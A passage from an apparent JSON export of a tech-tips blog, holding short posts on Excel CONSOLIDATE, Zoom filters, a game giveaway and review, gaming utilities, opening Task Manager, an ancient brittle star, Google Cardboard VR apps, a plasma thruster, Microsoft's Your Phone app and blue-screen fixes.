Average (average), Max, Min .   Reference : The position of the data area to be referenced. To select a range of calculations, click the Reference box and then drag to select the range.   After scanning the Reference area, click the Add button to include the reference address in the All Reference .   Top row: Headline. If the first line is the title you choose this check box. Left column: In the column header, if the first column of the data range is the header you select this check box. In this step, Software Tips will select the Sum function, the reference region from B2: G12, and all choose the headline and column header products.   Step 3: Click the OK button to view the summary report. The resulting report will return starting in cell J2 as you selected in Step 1 .\n  The CONSOLIDATE result adds up the column cells in the data table according to the criteria of the first column you select as the header column. In the Quarter and Products columns cannot add up, so the result is equal to 0. The Unit Price column has no meaning so you can delete it.\nAbove Software Tips guide you to use the CONSOLIDATE tool to collect statistics in Excel. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqku82spqWhlJbBpnnTqGSsrJGptrTAyJxknKedl7avsYydmK2ZXZ67brHXnJyl\n","link":"/post/how-to-use-consolidate-to-statistic-combine-data-in-excel/","section":"post","tags":null,"title":"How to use CONSOLIDATE to statistic, combine data in Excel"},{"body":"So after providing many background themes to hide the real scene behind, users now have more options for filters to change the look of the screen and change their own face. In addition, the Zoom software also has additional effects for the face such as changing eyebrows, changing lip color or adding beard, . Here is how to use the video frame filter on Zoom.\nGuide to install filter on Zoom Step 1:\nAt the interface on Zoom on your computer, click the gear icon to access the settings on the software.\n  Step 2:\nDisplay management items on the software, we click on the item Background \u0026amp; Filters to enter the item to select the effects of learning video frames on Zoom.\n  Step 3:\nLooking to the right you click on the Video Filters section and you will see there are a lot of video frame filters to choose from. Some filters will only change the color of the video screen, some will add other details.\nYou like any video frame, just click on the frame effect that is.\n  Step 4:\nClick on the Studio Effects (Beta) to use some effects for the face.\n  Here you will see effects for eyebrows, beard and lips. We'll choose the color, style, and density over the Opacity bar.\n  Color you can also change according to your own preferences through the color gamut icon.\nIn case you do not want to apply effects to the face anymore and want to return to the original state, click Reset. We can combine the video frame filter and the face effect, but only 1 frame filter can be used.\n  learn online on zoom how to use zoom ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqntcutnKtln6N6u7vOpmStraKjerC6jK2fnmWWnrm1sdFmnaiqXa%2B8sLk%3D\n","link":"/post/how-to-use-filter-on-zoom-turn-on-the-filter-for-zoom/","section":"post","tags":null,"title":"How to use filter on Zoom, turn on the filter for Zoom"},{"body":"Omerta: City of Gangsters is a Mafia gangster game that clearly depicts the underworld that is full of criminals, which are highly appreciated by game critics.\nIn the game, players will be returned to the 1920s, the period when notorious criminal corporations in American history were born. Playing the role of a person who immigrated to the United States with the desire to change his life, players will have to go through harsh and even bloody challenges to gradually create a small gang and gradually develop into one force has blood in the underworld.\n  Typically, the Omerta game: City of Gangsters is priced at $ 14.99, but it is currently available for free on the GameSessions copyright game website until the end of 17 hours 4 April 2019 If you love and desire to experience the Mafia underworld in the 1920s, please quickly follow the instructions below to receive the Omerta game: City of Gangsters is completely free before expiration.\n  Guide to getting free Omerta: City of Gangsters\nStep 1: Register for a GameSessions account, if not yet.\nhttps://www.gamesessions.com/en/Game/OmertaCityOfGangsters\nStep 2: Log in to the GameSessions account and click on the link below to proceed to receive Omerta: City of Gangsters.\nOmerta: City of Gangsters on GameSessions Step 3: At the interface of the game page, click Download Free Game .\n  Step 4: In the download window of the game installation file, select the path to save the installation file. Or you can click directly on the Download Free Game line at the bottom.\n  Step 5: Proceed to install the game. Note, the memory capacity must be empty than 2.3GB.\n  Step 6: Open the game via the game icon on the desktop. Log in to the GameSessions account.\nYou need to play the game or let the game work for at least 5 minutes until the Activation Complete notification line is available to be able to own the game's copyright.\n  Minimal configuration for smooth Omerta game: City of Gangsters:\nOS: Windows 7 32bit. Processor: 2 GHz Dual Core. Memory: 2 GB RAM. Graphics: Geforce 8800, Radeon HD 2000, Pixel Shader 3.0, 256 MB discrete RAM. Note:\nTime to receive free Omerta game copyright: City of Gangsters from the GameSessions only lasts until 17 hours on April 4, 2019. You must activate the game before this deadline.\nUsers can choose to activate the game on Steam and use the key to transfer the entire Omerta process: City of Gangsters from GameSessions to Steam for $ 4.5.\nncG1vNJzZmismaXArq3KnmWcp51kvK6x0a2YZqedmr%2B1rYycoK2xXaSzbrPAp56srJWnwG6tjJujmpubYsCwr8iao2afkaKybq%2FOrKuippdifnWFmK6qnWWZqHqnvsSe\n","link":"/post/omerta-omerta-city-of-gangsters/","section":"post","tags":null,"title":"Omerta: Omerta: City of Gangsters"},{"body":"Sonic at the Olympic Games: Tokyo 2020 developed by the famous game company Sega will take you to the bustling and bustling capital of Tokyo, where the extremely exciting and bustling 2020 Summer Olympics will take place.\n  The 2020 Olympic Games was originally scheduled to run from July 24 to August 9, 2020, with preliminary matches starting on July 22. However on March 24, 2020, the IOC and the Tokyo Organizing Committee formally declare that due to the worldwide COVID-19 pandemic, the 2020 Summer Olympics and the Disabled Olympics will be postponed until 2021. For Olympic fans It's a pity all over the world, that's why the name of the game, Sega's mascot - Sonic the hedgehog has been chosen to inspire the greatest Olympics on this planet.\nThe plot is simple, attractive As with similar games in Sega's Olympic series, Sonic at the Olympic Games: Tokyo 2020 brings together a variety of sports that you can participate in to compete for a medal.\nDr. Eggman is plotting to sabotage the city of Tokyo and seek to prevent the organization of the Summer Olympics 2020. Players will have to accompany Sonic and his friends destroy the plot to destroy Tokyo. and Dr. Eggman's Olympics. By attending the Olympics and winning as many gold medals as possible, challenging the final boss and conquering the Olympic venue in Tokyo, players will win and become the champion.\nGreat graphics and sound Game Sonic at the Olympic Games: Tokyo 2020 possesses colorful, colorful graphics, bringing the joyful atmosphere of the sports festival. The specific details of beautiful Japan such as high-rise buildings mixed with ancient towers bring both modern beauty and classic beauty.\n  The stadium organizing the festival is also built quite detailed images, like real life to 90%. Places like running fields, shooting ranges, swimming pools, karate arenas are all created by meticulous brushstrokes. Sonic is originally an animated character, so the character of the characters in the game is also very cute chibi manga. 3D animation effects combined with realistic movements of the character brings the experience as you are participating in the Olympics. In general, the graphics of Sonic at the Olympic Games: Tokyo 2020 are built with bright, funny style, very suitable for entertainment purposes.\n  The soundtrack of Sonic at the Olympic Games: Tokyo 2020 is quite lively and authentic, the fun music combined with sound effects such as the cheers and cheers of the audience brings excitement to the players. Because Sonic at the Olympic Games: Tokyo 2020 has a high concentration of gameplay, the soundtrack is made at a moderate sound level, without distracting the player.\nGameplay is easy to play, easy to win Sonic at the Olympic Games: Tokyo 2020 is a game with a fairly easy gameplay. Coming to the game, players also experience a variety of content such as real life: Running 400m Hurdles, Javelin, Archery, Karate, Diving, Shooting, Sport Climbing, Fencing, Throwing, Table Tennis, Long Jump, Badminton, .\nAt the beginning of the competition, you can choose the color of the shirt to play, there are continents and countries for players to freely choose. If you love your country, you can choose Vietnam or want to be more comfortable, experience with English, French, American, Japanese.\n Revealing the reason for Sonic's horribly bad initial appearance After the movie Sonic The Hedgehog was released, director Jeff Fowler boldly revealed the cause of the original ugly Sonic model chosen.\nOpening by conquering the competition content at the famous stadiums in Japan. Each stage will require the player to conquer a corresponding sport. All sports have a common requirement: the sooner you reach your goal, the higher you will rank.With each highest ranking you will receive a gold medal, and In the end, the person with the most gold medals will be the winner.\nTo become a pro gamer, you need to know the requirements for each sport. Just like in real life, running sports honors the fastest players and overcome the fastest obstacles to win, Sonic at the Olympic Games: Tokyo 2020 hurdles It requires two factors: speed and time.\n  With some subjects such as Shooting, Archery or Throwing Ta . there are more requirements in terms of accuracy and meticulousness. You need to align the position of the target, predict the direction of the target to be able to shoot / hit. Of course, time is always high, but don't be tempted to win the gold medal because of the sports that require this precision, the rush is also a big step for you.\n Be careful one wrong shot is going a mile\nFighting sports like Fencing or Karate require flexibility. You must master the skills skillfully to be able to dodge and strike the finishing blow. Maybe in real life you have never won a strong guy but with Sonic at the Olympic Games: Tokyo 2020, you can experience the feeling of being the strongest when taking down your opponent in a karate half.\nIn addition to the official Olympic games, you can also try mini-games such as decoding, picking up dolls, etc. Mini games often appear in the middle of the stages. Eggman will present challenges to prevent the player from advancing to the next gym, your task is to overcome the challenge to be able to go to the next stage.\n It's also a good idea to pick up the stuffed animals to take the bears to pick up\nThe game has an extremely interesting ranking system, with each game, you can win the Gold, Silver, Bronze, . medals yourself depending on your ability. There is also a worldwide ranking, if you want your country to be named on the podium, then try to overcome yourself and overcome the challenges as quickly as possible. Another attraction in the game is that you can invite your friends to compete with you and can see your ability compared to your friends through the friends rankings.\nFor each round, players can collect medals and badges. Medals are earned when you win a competition, and a medal is awarded when you achieve a certain achievement. A good player can have many gold medals but if you want to have many badges then you need to be an excellent player.\nSonic's great mission at the 2020 Olympic Games: Tokyo is to stop Dr. Eggman and his henchmen. That's why you will face the boss at the end of each stage. However, according to the feeling of the Nerd, the bosses of Sonic at the Olympic Games: Tokyo 2020 can easily receive defeat, do not create high challenges. Just use the acceleration skills, increase the appropriate power and add a bit of dexterity, you can easily win.\nGeneral assessment Overall Sonic at the Olympic Games: Tokyo 2020 is a really good game to play, although the gameplay is simple, the duration of the game is short. The spirit of sports in general and the Olympics in particular is still based on the martial spirit that has been shown well in the game.\nPlaying sports is also a way to learn and train yourself, so Sonic at the Olympic Games: Tokyo 2020 is not only an ordinary entertainment game but also a lesson about hard work, perseverance of Little hero Sonic. If you are a sports fan, you definitely cannot ignore this fascinating game. The Covid-19 epidemic in the world is still raging, at home playing Sonic at the Olympic Games: Tokyo 2020 is also a good way to support and prepare to welcome the 2021 Olympic Games taking place next year.\nLink Download Game Android\nhttps://play.google.com/store/apps/details?id=com.sega.tokyo\u0026amp;hl=en\nncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZqufo7akecCtZK2glWK8rcXMqaCcZZeWuqa%2FjK2mpLGfYn9xfo9mmaWtlWK1prDGnp%2Bon12nsrSv1J6qZqecrrqxtcI%3D\n","link":"/post/review-sonic-at-the-olympic-games-tokyo-2020/","section":"post","tags":null,"title":"Review Sonic at the Olympic Games: Tokyo 2020"},{"body":"When we play games, not only have the decisive skills but also the computer system, the software that supports us to get the best experience, few game players know that there are useful software much in gaming on the computer. In this article, Software Tips will help you learn about the best gaming support software.\n  1. Display Card Driver   When we build gaming computer systems, there will certainly be the presence of video card components. Windows video cards are automatically recognized when you install and install Windows. But in order for the video card to maximize the performance, we need to install the correct driver versions provided by the manufacturer. Driver versions for different video cards greatly affect the performance and experience, and even cause errors if not compatible. Because of that, before we play the game, we should check that the Driver version of the Video Card is the latest version and that there is an error in the Driver. Currently, there are two major brands in the market that supply video card products, namely AMD and Nvidia, you can easily find the Driver of the Video Card on the homepage.\nNvidia: https://www.nvidia.com/Download/index.aspx\nAMD: https://www.amd.com/en/support\n2. WTFast   It sounds interesting to hear their names, right? WTFast is one of the most effective Ping reduction software when playing games today. Do you remember the scene of gaming lag, lag when Vietnam Internet came shark bite season? At that time WTFast will tell you what is high speed Internet with low latency when transmitting via international data. If you play games on foreign servers such as Europe, America, . WTFast will greatly improve gaming performance, especially latency and Delay. WTFast works compatible with current games and it especially supports the most powerful with PUBG, Dota 2, CS: GO, LOL, .\nHomepage: https://www.wtfast.com/en\n3. Mouse / keyboard software   Today's mouse and keyboard products are so smart and modern that manufacturers offer their own software for them. Based on this software, you can tweak the mouse, keyboard to suit your hand and the game you're playing. If you say this doesn't affect gaming, you're wrong!\nThe most typical example is the PUGB game, Logitech manufacturer has updated the software for their mouse product including G502. Users have skillfully used the software and installed macros for them, making G502 capable Scope 4x drying in PUGB without shock. Actually this is not cheating or anything, they just interfere with the movement of the mouse when drying Scope 4x only. Normally when Scope 4x drying we will have to drag the mouse down (depending on the type of gun) to straighten the bullet line, but the software will make us drag the mouse down. Right now, your hands are much more free and you just need to move the mouse according to the target.\nTo view the software versions for the mouse and keyboard, you can enter the product code name on Google and visit the product provider's homepage. Here, they will let you download software that can customize the mouse / keys, but only the manufacturers specializing in gaming mouse / keys do this.\n4. MSI Afterburner   MSI Afterburner is a tool from the MSI manufacturer that allows you to display hardware related parameters at a corner of the screen when gaming. Based on these parameters, you can know your computer is lacking any hardware resources to play games smoothly. MSI Afterburner does not have much impact on game play if you do not set Overclocking and Fan Speed. OverClocking on MSI Afterburner will help you take your video card to a new, stronger, faster limit, and Fan Speed ​​will help you maintain the right temperature for gaming components.\nHomepage: https://www.msi.com/page/afterburner\n5. DirectX   DirectX is an extremely necessary tool for those who play games, using applications on the Microsoft operating system. With DirectX, you will not get errors when installing games and playing games such as: * .dll is missing. DirectX will help you find everything you need from game installation to game launch and stable gaming. Games will take full advantage of the hardware when installing DirectX because they will generally use the multimedia accelerator's built-in feature in Windows hardware and software systems. With DirectX, you will play the game much smoother.\nHomepage: DirectX\nIn this article, Software Tips introduced to the Top of good gaming support software today. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jK2fnmWSmsC1ecaapKKml2LAtrzPqKmtZaOks7XDwKuc\n","link":"/post/top-the-best-gaming-support-software/","section":"post","tags":null,"title":"Top the best gaming support software"},{"body":"Task Manager is the most effective computer management tool that you can change to adjust the running applications. Because of the importance of Task Manager, the developer has equipped you with many different ways to start Task Manager. In this article, Software Tips will send you the most common ways to open Task Manager on Windows 10 today.\n  1. Boot through the Taskbar This is a basic and most common way for every user. It also easily boots up the fastest. You proceed as follows:\nRight click on Taskbar -\u0026gt; Task Manager .\n  2. Boot through the RUN window The RUN window is a window that helps us get anywhere, every corner of the computer with just the right command.\nTo open the RUN window, press Windows + R or go to the Start Menu to start.\nYou enter Taskmgr and click OK to open Task Manager .\n  3. Open via shortcut On Windows there are many different shortcuts for quick start users.\nYou press Ctrl + Shift + ESC .\n  4. Boot through the Command Prompt Command Prompt is also a useful tool on Windows 10 and 7 so that users can work through the commands.\nStep 1: Open Command Prompt by typing CMD in MenuStart and select Run as administrator.\n  Step 2: Enter the following command and press Enter.\nTaskmgr   5. Boot from the root directory You access in the following order:\nMy Computer / This PC -\u0026gt; C: -\u0026gt; Windows -\u0026gt; System32 -\u0026gt; Taskmgr.exe   6. Boot through the Windows Securitty shortcut You press Ctrl + Alt + Delete .\n  Now there will be many options for you. You choose Task Manager .\n  Thus, in this article, the Software Tips showed you how to start Task Manager on Windows 7 and 10 computers in different ways. Good luck!!!\nncG1vNJzZmismaXArq3KnmWcp51kxKLF0marqGWfpbKvedOaqqRlnZa7orPEq2Sopl2stq%2BwzrCqZmlg\n","link":"/post/ways-to-open-task-manager-on-windows-10/","section":"post","tags":null,"title":"Ways to open Task Manager on Windows 10"},{"body":"It is the first and only specimen of Ophiojura to date. And now it has been scientifically described in a new study.\u0026nbsp;Ophiojura is a brittle starfish, also known as snake-tailed starfish, which is a distant relative of starfish, with eight snake-like legs radiating from its body.\n  Close-up photo of Ophiojura's 8 toothed jaws\nEight legs, each wing is 10cm long and the top is covered with rows of hooks and spikes, and lots of sharp teeth on the 8 teeth! A microscopic scan shows rows of sharp teeth growing in every jaw used to trap and tear prey. This is an animal like from a nightmare.\n  Ophiojura truly represents a completely unique and never-before-seen type of animal. It is one of the last known species of an ancient lineage.\nCompare DNA from a range of different marine species and the scientists concluded that Ophiojura diverged from its closest living starfish relative in about 180 million years of evolution. This means that their most recent common ancestor lived during the Triassic or early Jurassic, when dinosaurs were just emerging. Over the past 180 million years, Ophiojura has continued to evolve, albeit very small and barely noticeable.\n  For life on the seafloor, the center of paleontological endemism lies on the continental margins and subterranean mountains in tropical seas from 200 meters to 1,000 meters deep. This is where we find the \"support\" of ancient sea creatures - species that have existed in a relatively primitive form for millions of years.\n  Subterranean mountains, like the one in which Ophiojura is found, are usually submerged volcanoes created millions of years ago. Lava flows from vents on the seafloor, continuously creating more layers of basalt to the top of the volcano. Volcanoes can rise out of the sea, forming an island volcano like those in Hawaii, sometimes with coral reefs surrounding its shores.\nBut eventually the volcano dies, the heavy basalt causes the mountain to sink into the relatively soft oceanic crust. Given enough time, the subterranean mountain would sink hundreds or even thousands of meters below sea level and gradually become covered again in deep-sea fauna.\nncG1vNJzZmismaXArq3KnmWcp51kvLG0yKihrqqRYoWtscagnJ1lo6mus7LIrJ9mnqWhuW67xWajqKaXYsCvrcqeo6KjlWLAsbXNnqpmcF2osrW%2FjKidZqKRrMBuw8itn2armJa%2FsXnTnpytoA%3D%3D\n","link":"/post/8-legged-starfish-full-of-long-snake-like-spines-8-sets-of-jaws-with-sharp-teeth/","section":"post","tags":null,"title":"8-legged starfish full of long, snake-like spines, 8 sets of jaws with sharp teeth"},{"body":"Exploring the virtual reality world previously means buying specialized equipment and attaching it to a PC or other device. But Google Cardboard has helped change everything.\nAnyone with a modern iPhone and exceptionally cheap virtual reality glasses can explore a large number of different applications and games. The article will explain a little more about how this system works and highlights the best iPhone apps for Google Cardboard.\nDiscover virtual reality with Google Cardboard and iPhone What is Google Cardboard? 10 best VR apps for Google Cardboard on iPhone 1. Google Cardboard 2. YouTube 3. Hidden Temple 4. Voxel Fly VR 5. Littlstar VR Video Network 6. VR Hangar 7. Maze Walk VR 8. Jurassic VR Ptera 9. CINEVR  What is Google Cardboard? Designed to expand the range of VR applications, Google Cardboard is a combination of both application and special virtual reality glasses. As you can guess, Google Cardboard virtual reality glasses are made from cardboard. You can assemble it in three steps and this product also has an interactive button.\n  If you want to skip the assembly and want a more comfortable experience, Systros's Google Cardboard virtual reality glasses are compatible with those who wear glasses and have adjustable straps, allowing you to enjoy the applications. use in hands-free mode, instead of holding the VR glasses on the face.\nWhen buying any virtual reality glasses, just make it compatible with the iPhone screen size.\nOnce you have the virtual reality glasses, download and start a compatible application, then put your phone on the device. Next, start moving the first part to discover everything. Although screenshots of VR applications display two different images, they will work together to form a unique experience when used in practice.\nJust note, VR applications are much different from augmented reality, also known as AR. While VR represents the entire scene, AR presents information through a real-world context. If you are interested, take the time to read the article: Super interesting AR titles on iOS 11 you should try it for more details.\n10 best VR apps for Google Cardboard on iPhone 1. Google Cardboard   The first application you should download for use with the virtual reality glasses is the official Google Cardboard app. The best feature of the application is that it helps you set up and learn more about any compatible virtual reality glasses.\nThere are some other VR experiences to explore here. In Urban Hike, you can stroll through iconic cities around the world. For a more \"cold\" experience, Arctic Journey allows you to fly around the tundra, create a flower garden and enjoy beautiful aurora light.\nYou can also view some applications that are compatible with other Cardboard available for download.\nDownload Google Cardboard (Free).\n2. YouTube   No surprise, but Google's own YouTube app is also a great place to use Cardboard. You can view any 180-degree or 360-degree video in the Virtual Reality channel using virtual reality glasses.\nWhen you start a video, just select the Cardboard icon in the lower right corner of the screen.\nDownload YouTube (Free).\n3. Hidden Temple   Gamers will definitely like Hidden Temple. Fall into an ancient temple in Indiana Jones style, you will need to find the treasures in it and try to escape. To do that, there are some mysteries and puzzles that need solving, asking you to combine different items in the right order.\nWithout Google Cardboard virtual reality glasses, you can still enjoy games without a headset on your iPhone or even an iPad and Apple TV.\nDownload Hidden Temple ($ 4 / 96.000VND).\n4. Voxel Fly VR   Voxel Fly VR brings an interesting twist, giving you an endless flight experience. To get started, you'll choose a voxel (three-dimensional pixel in computer graphics). After that, you will try to fly as far as possible, by avoiding or destroying all enemies along the way.\nYou can also play games without VR glasses on the iPhone or iPad.\nDownload Voxel Fly VR (Free).\n5. Littlstar VR Video Network   If you are looking for VR videos to experience, Littlstar is an option worth considering. The application includes both VR video and augmented reality from big names like Disney, Syfy, Discovery Channel, etc. You can also find videos in different categories like travel, sports, lifestyle, etc.\nAlong with being able to watch any video using Google Cardboard, the content is also available for viewing on the iPhone or iPad. Just touch the screen or use the built-in gyroscope to control the video. Saving your favorite videos and even sharing 360-degree content via social networks and other media is also easy.\nDownload Littlstar VR Video Network (Free).\n6. VR Hangar   VR Hangar, from the Smithsonian National Air and Space Museum, brings aviation history to your iPhone. This app provides a unique look in bringing some of the museum's impressive artifacts.\nFor example, you can watch astronauts aboard the Columbia 11 commander, watch the spacecraft spin around the moon and finally watch it return safely to Earth. Other experiences include the Flyer 1903 Wright Brothers and Bell X-1.\nHangar VR download (Free).\n7. Maze Walk VR   Straying in a maze is blown into a new flow of life in virtual reality. In MazeWalk VR, there are many different mazes to conquer. You will have to sweat when walking in the real world and discover all twists or even find different easter eggs. This app also works without Google Cardboard.\nDownload Maze Walk VR (Available for free, in-app purchases).\n8. Jurassic VR Ptera   This may not be Jurassic Park, but Jurassic VR offers a unique experience on Google Cardboard. In the application, you will jump on the back of Pteranodon and discover a unique world from the air. There are three different game modes to enjoy.\nDownload Jurassic VR Ptera ($ 2 / 46,000 VND).\n9. CINEVR   Instead of going to the cinema with friends, CINEVR will provide the same experience for you right at home. You can invite up to 4 friends to watch videos at once and have a real conversation about the movie. The application features 3D cinema to watch videos, complete with different textures and lighting effects.\nThis application is also compatible with other VR platforms such as Oculus, Gear VR, etc.\nDownload CINEVR (Free).\nIf you've been curious about what virtual reality offers, these Google Cardboard apps provide a great way to get a good experience at a low cost. You can have fun exploring the world from your iPhone screen.\nWish you find the right choice!\nncG1vNJzZmismaXArq3KnmWcp51khm6uxKyrZq6iYq6xvNJmnaiqXZy8sLPLnmScmaKZr7Ct0Z1kqKZdnr2pu82e\n","link":"/post/9-best-vr-apps-for-google-cardboard-on-iphone/","section":"post","tags":null,"title":"9 best VR apps for Google Cardboard on iPhone"},{"body":"A Chinese team recently demonstrated the prototype of a microwave plasma propulsion in laboratory conditions.\nPreviously, plasma propulsion was used on spacecraft, using xenon plasma. But this type of engine cannot be used in the Earth's atmosphere, because the accelerated xenon ions lose most of the thrust to friction with the air.\nHowever, a research team from the Institute of Science and Technology at Wuhan University, China, has found a new design that makes the engine use only air and electricity. This device works by ionizing the air to create a low temperature plasma, which is then blown through a tube with an air compressor. In the tube, the plasma is attacked by very powerful microwaves, which vibrate violently with ions, causing them to smash into other non-ionized atoms and significantly increase the temperature and pressure of the plasma. This temperature and pressure creates significant thrust on the pipe.\n Microwave plasma propulsion design.\nCreated by an electromagnet of 1 kW, 2.45GHz, the microwaves were compressed in a flattened waveguide before reaching the plasma stream. This enhances the electric field and transmits as much heat and pressure to the plasma as possible.\nThe researchers found that, while keeping the air stream from the compressor stable, sparks in the tube seemed to last longer as the microwave's output increased. They aim to try to measure how much thrust is generated, but this is not easy using conventional methods.\nInstead, they decided to balance an empty steel ball on top of the pipe, which could easily change weight. At a certain weight, the repulsion will resist gravity pulling the ball down and starting to lift it out of the tube, causing it to move and jump continuously. The researchers then made the measurements of the repulsion generated.\n Steel spheres are used to measure thrust.\nAfter testing through a series of power levels and compressed air flow rates, the researchers found a linear relationship between thrust and both microwave and airflow. Efficiently, the thrust at 400W and 1.45 cubic meters of air per hour is 11 Newtons, the equivalent of converting power into thrust at 28N / kW. Thereby, the team speculated that if using the Tesla battery of the Model S model, capable of producing 310 horsepower, the thrust generated would be about 8,500 N.\nThis allows it to be used as an engine for future electric aircraft. In fact, the Airbus E-Fan electric aircraft uses a pair of engines with 25 N / kW efficiency, lower than the first prototype assembled in a laboratory in Wuhan. Therefore, the researchers concluded that this thrust was \"equivalent to the jet engine of commercial aircraft\".\nHowever, the method of testing with steel balls is not really reliable and needs to improve the efficiency of the design. But everything seems to be promising, with the idea of ​​creating a new type of plasma propulsion for future electric aircraft.\nEven so, the distance to reality is still extremely remote. Because even though it is more efficient than conventional jet engines, it is undeniable that, if taken at the same weight, aviation fuel still carries dozens of times more energy than a lump. the battery.\n\u0026nbsp;Video of microwave plasma propulsion test by Chinese researchers.\nncG1vNJzZmismaXArq3KnmWcp51ksKm1zZpkoqammru1scNmqqillam1qrrGZquhmaRisLDBy51kq52goa6ksYyjnK1llaO0qrrErA%3D%3D\n","link":"/post/china-invented-something-that-could-replace-jet-engines/","section":"post","tags":null,"title":"China invented something that could replace jet engines"},{"body":"Windows and Android are very popular, so naturally a lot of people use both. If you are also on this list, don't miss out on Microsoft's 'Your Phone' software, which will integrate Android phone with Windows PC: Grant access to notifications, read and text, access gallery photos and more.\n Requirements: To be able to install and use 'Your Phone', you'll need an updated version of Windows from April 2018 or later and an Android device running Android 7.0 or higher. This app doesn't do much with the iPhone because Apple doesn't let Microsoft or other third parties integrate deeply into the iOS operating system on the iPhone.\nAndroid phone must be turned on and connected to the same Wi-Fi network as your computer, there won't be any other complicated connection cables needed.\nStep 1: Install Your Phone software from Play Store on Android phone 1. Access the following link here and press the install or Install button to download the application to your Android phone / tablet: Play Store\n  2. Open the app and sign in with your Microsoft account .\nYou can see the following article to know how to sign up for a Microsoft Outlook Mail / Hotmail account.\n3. Click Continue when you are logged in.\n  4. Next you'll need to give the app some permissions. Click Continue to continue.\n  5. The first right will be to access your contacts. The app uses this information to text and make calls from your PC. Click on ' Allow '.\n  6. The next right is to make and manage phone calls. Select ' Allow '.\n  7. Next it will need access to the photo storage, media files, and files in the device. Click on ' Allow '.\n  8. Finally grant permission for the app to send and view SMS messages by clicking ' Allow '.\n  9. The next screen will tell you how to 'allow apps to run in the background to stay connected to your PC'. Click Continue to continue.\n  10. A pop-up will ask if you want to allow the app to always run in the background. Select ' Allow '.\n  That's all you need to do on your Android phone / tablet. You should now find the 'Your Phone' app pre-installed on your Windows 10 PC, find it in the Start menu. But if you don't see it, download the following steps:\nStep 2: Download and install Your Phone app on Windows PC 1. Go to the following link and download it in the Microsoft Store by clicking the ' Free Download ' button , then Launch .\n  2. When you open the app for the first time on your PC, it can scan for Wi-Fi networks and detect we just set up a new device and ask \"do you want to set it as default\".\nIf the phone we just set up in step 1 is your primary device, click the Make this my default button to select it as default.\n  3. The PC app will now guide you to check your Android device for a notification: Ask if you want to allow your device to connect to your PC.\n=\u0026gt; Click ' Allow ' to continue.\n  Step 3: Use the software Your Phone on the PC 1. Back on your PC you should now see a welcome message. You can choose to pin the Your Phone app to the Taskbar then tap 'Get started' to continue.\n  The Your Phone app will now guide you through setting up a few features. We'll also show you how.\n2. Tap ' See my notifications ' first.\n  3. For this feature to work, we must grant the Your Phone Companion app permission to view Android notifications. Click the ' Open settings on phone ' button to get started.\n  4. On your Android device a message will appear prompting you to open the notification settings. Click ' Open ' to go there.\n  Notifications on your Android device\n5. The \" Notification access \" setting will open up. Make sure the ' Allow notification access ' setting is enabled.\n  6. Now you should see your notifications appear in the ' Notifications ' tab of the Windows app. When the notification appears, you can remove it from your Android device by clicking the ' X ' icon .\n  7. The ' Messages ' tab will automatically show text messages from the phone that you don't need to set up. Just type in the text box to reply to the message or hit the ' New message ' button .\n  8. The ' Photos ' tab also doesn't require any setup. It will show recent photos from your device.\n  In the sidebar, you can even see the battery level of a connected device.\n  Now you know the basics of how to set up and run the Your Phone software to connect your Android phone and Windows 10 PC. This is an extremely handy application, especially when you spend a lot of time on your Windows PC. ten.\nNow you won't need to pick up your phone again, everything can be controlled from your PC. Don't forget to share this app with your friends and colleagues when they also use Android Phone!\nYour Phone App ncG1vNJzZmismaXArq3KnmWcp51ksLC6zZ6arWWppMKzecCnm6unmZl6sbTOp5xmrJ9ixKq6w6iurGVhZXq2v8innmaxn6q%2FbrzHqKWeZZGlvQ%3D%3D\n","link":"/post/connect-your-android-phone-to-windows-10-using-your-phone-app/","section":"post","tags":null,"title":"Connect your Android phone to Windows 10 using Your Phone App"},{"body":"Blue screen errors are annoying and not easy to resolve. If you come across such an error, please see the fixes below.\n1. Update Windows 10 and graphics card driver   It has been reported that this issue is caused by the graphics card driver. Did you happen to use an Nvidia graphics card?\nIn this case, just make sure that you download the latest Nvidia drivers to fix any incompatibility issues that the graphics card might be having with Windows 10.\nA safer and easier way to update the driver on a Windows computer is to use an automatic tool, as downloading the driver manually can go wrong and lead to serious crashes. For example, DriverFix can update all your drivers within a few clicks.\n2. Turn off SLI Step 1: Go to Nvidia Control Panel. You can access it by double clicking on the icon in the bottom right corner.\nStep 2: Go to 3D Settings and click on Set SLI Configuration.\nStep 3: Make sure Do Not Use SLI Technology is checked.\nStep 4: Click Apply to save changes.\nMany gamers have two Nvidia graphics cards that they use in SLI mode for better performance. While this sounds great, there have been reports that an SLI could cause a dxgkrnl.sys issue.\nObviously there is a memory leak in VRAM when you are using SLI on Windows 10, so to fix this, you should disable SLI. After turning off SLI on your computer, the blue screen of death will be fixed.\n3. Turn off Nvidia Surround Nvidia Surround is a feature on the Nvidia graphics card that allows you to enjoy a 3D experience across multiple monitors.\nWhile this sounds like a great feature for gamers, it is problematic on Windows 10 and can cause issues with dxgkrnl.sys, resulting in BSOD System_Service_Exception dxgkrnl.sys error.\nSo far, the only solution is to turn off Nvidia Surround to fix this error.\nBut sometimes, it is not possible to turn off Nvidia Surround easily and some users have suggested using the keyboard shortcut CTRL + ALT + S or CTRL + ALT + R to disable the feature.\nIf the shortcut doesn't work for you, try unplugging other monitors and booting up with just one plugged in.\nWhen booting with only one screen, Nvidia Surround will automatically turn off.\n4. Change the amount of graphics memory in the BIOS Step 1: Reboot the computer and continue pressing Del, F2 or F10 on the keyboard while the computer boots. The key you need to press may differ depending on your computer.\nStep 2: Now you need to find the menu Advanced, Advanced Chipset or Advanced Features.\nStep 3: Find Graphics Settings or Video Settings and change the memory size to 128MB or more.\nIf you are using integrated graphics, you can fix this BSOD error by changing the amount of graphic memory in the BIOS.\nMany users reported that they successfully fixed the error caused by dxgkrnl.sys on ASUS laptop with Intel HD 4400 integrated graphics. But this solution will work for any other laptop or integrated graphics card. . To change this setting you need to do it as described above.\nIt should be emphasized that changing the memory capacity for the integrated graphics card is not the same for all computers and that the process may be different depending on the type of BIOS you are using.\n5. Check for hardware malfunctions   There have been a few cases where this problem was caused by a faulty RAM module or motherboard.\nIf your PC is under warranty, you may want to take it to the store to check for hardware glitches.\n6. Run Blue Screen Troubleshooter Step 1: Go to the Settings app.\nStep 2: Go to Updates \u0026amp; Security\u0026gt; Troubleshoot.\nStep 3: Now, click on Blue Screen and go to Run the troubleshooter.\n  Step 4: Follow the other instructions and let the wizard finish the process.\nStep 5: Restart the computer.\nAlso, if the problem is still not fixed, you can try running SFC and DISM to find other errors on the system causing BSOD 